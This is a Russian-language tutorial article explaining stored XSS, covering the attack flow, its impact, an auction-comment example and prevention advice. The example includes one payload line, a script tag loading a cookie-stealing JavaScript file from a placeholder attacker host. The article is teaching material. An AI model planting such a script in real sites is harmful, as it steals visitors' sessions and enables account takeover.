Понимание сохраненного XSS в деталях
Опубликовано: 23 Августа, 2022
В этой статье мы подробно разберем один из типов межсайтового скриптинга, то есть хранимый XSS.
Что такое хранимый межсайтовый скриптинг?
- Сохраненные уязвимости межсайтового скриптинга распространены в веб-приложениях, которые поддерживают взаимодействие между конечными пользователями или административным персоналом, имеющим доступ к пользовательским записям и данным в одном и том же приложении. Эта уязвимость возникает, когда данные, отправленные одним пользователем, хранятся в приложении (обычно во внутренней базе данных) и отображаются для других пользователей без надлежащей фильтрации или очистки.
- Атаки на сохраненные XSS-уязвимости обычно включают как минимум два запроса к приложению. В первом запросе злоумышленник публикует специально созданные данные, содержащие вредоносный код, хранящийся в приложении. Во втором запросе жертва просматривает страницу, содержащую данные злоумышленника, и вредоносный код выполняется при выполнении скрипта в браузере жертвы.
Схематическое объяснение:
Из приведенного выше рисунка
- Злоумышленник отправляет вредоносный скрипт в виде файла.
- Он сохраняется в базе данных веб-сайта, если элемент в веб-приложении не очищен.
- Обычный пользователь или жертва пытается использовать функциональные возможности веб-приложения, но вредоносные сценарии выполняются, поскольку они уже хранятся в базе данных, а файлы cookie или сеанс украдены злоумышленником.
Воздействие и риск. Сохраненные межсайтовые сценарии могут иметь огромные последствия для веб-приложения и его пользователей.
- Злоумышленник может захватить учетные записи пользователей.
- Злоумышленник может украсть учетные данные.
- Злоумышленник может получить конфиденциальные данные.
- Злоумышленник может получить доступ к компьютерам вашего клиента.
Пример сохраненной XSS-атаки:
- При просмотре веб-сайта аукциона злоумышленник обнаруживает уязвимость, позволяющую встраивать теги HTML в раздел комментариев сайта. Предположим, злоумышленник может опубликовать комментарий, содержащий встроенный JavaScript, а приложение не фильтрует и не очищает его. В этом случае злоумышленник может опубликовать созданный комментарий, который вызывает выполнение произвольных сценариев в браузере любого, кто просматривает комментарий, включая как продавца, так и других потенциальных покупателей.
- Поскольку данные, введенные в поле комментария, сохраняются в базе данных, если другой пользователь запрашивает данные комментария, вредоносный скрипт возвращается пользователю в качестве ответа.
The attacker adds the following comment: Great Auction Website! Read my review here
<script src=”http://hackersitelink.com/authstealer.js”> </script>.
- Таким образом, при каждом доступе к странице тег HTML в комментарии активирует файл JavaScript, размещенный на другом сайте, и крадет данные сеанса посетителей.
- Используя файл cookie сеанса, злоумышленник может легко скомпрометировать конфиденциальные данные жертвы и завладеть учетной записью жертвы или украсть некоторые ценные активы из понимания посетителя.
- Как и при отраженной атаке, когда сценарий активируется после нажатия на ссылку, при хранимой атаке требуется только, чтобы жертва посетила скомпрометированную веб-страницу или веб-элемент. Сохраненный XSS увеличивает влияние на серьезность, поскольку он напрямую содержит полезную нагрузку XSS в базе данных.
Профилактика:
- Фильтровать вход по прибытии. Когда пользователь вводит вредоносный скрипт и запрашивает сервер, в этот момент попытайтесь отфильтровать и очистить ввод.
- Брандмауэр веб-приложений является наиболее эффективным и лучшим решением для защиты веб-приложений от атак с использованием межсайтовых сценариев.
- Экранирование. Экранирование данных означает получение данных, полученных приложением, и обеспечение их безопасности перед их рендерингом для конечного пользователя.
- Проверка входных данных. Проверка входных данных — это процесс, обеспечивающий отображение приложением правильных данных и предотвращение вредоносного воздействия вредоносных данных на сайт, базу данных и пользователей.